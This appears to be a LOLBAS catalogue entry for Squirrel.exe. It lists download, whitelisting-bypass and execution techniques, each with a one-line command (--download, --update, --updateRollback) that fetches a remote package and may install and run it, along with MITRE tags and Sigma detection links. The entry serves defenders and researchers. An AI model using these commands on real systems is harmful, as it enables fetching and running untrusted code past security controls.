LOL · OtherMSBinary

Squirrel.exe

5 techniques WindowsLOLBAS GPL-3.0

Download

File Download Windows

The above binary will go to url and look for RELEASES file and download the nuget package.

Use Download binary

squirrel.exe --download {REMOTEURL}

Context: user
Native: Download
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml
Refs: www.youtube.com/watch?v=rOP3hnkj7ls
twitter.com/reegun21/status/1144182772623269889
www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/

AWL / Policy Bypass Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

squirrel.exe --update {REMOTEURL}

Context: user
Native: AWL Bypass
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml
Refs: www.youtube.com/watch?v=rOP3hnkj7ls
twitter.com/reegun21/status/1144182772623269889
www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/

Execution Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

squirrel.exe --update {REMOTEURL}

Context: user
Native: Execute
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml
Refs: www.youtube.com/watch?v=rOP3hnkj7ls
twitter.com/reegun21/status/1144182772623269889
www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/

AWL / Policy Bypass Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

squirrel.exe --updateRollback={REMOTEURL}

Context: user
Native: AWL Bypass
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml
Refs: www.youtube.com/watch?v=rOP3hnkj7ls
twitter.com/reegun21/status/1144182772623269889
www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/

Execution Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

squirrel.exe --updateRollback={REMOTEURL}

Context: user
Native: Execute
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml
Refs: www.youtube.com/watch?v=rOP3hnkj7ls
twitter.com/reegun21/status/1144182772623269889
www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/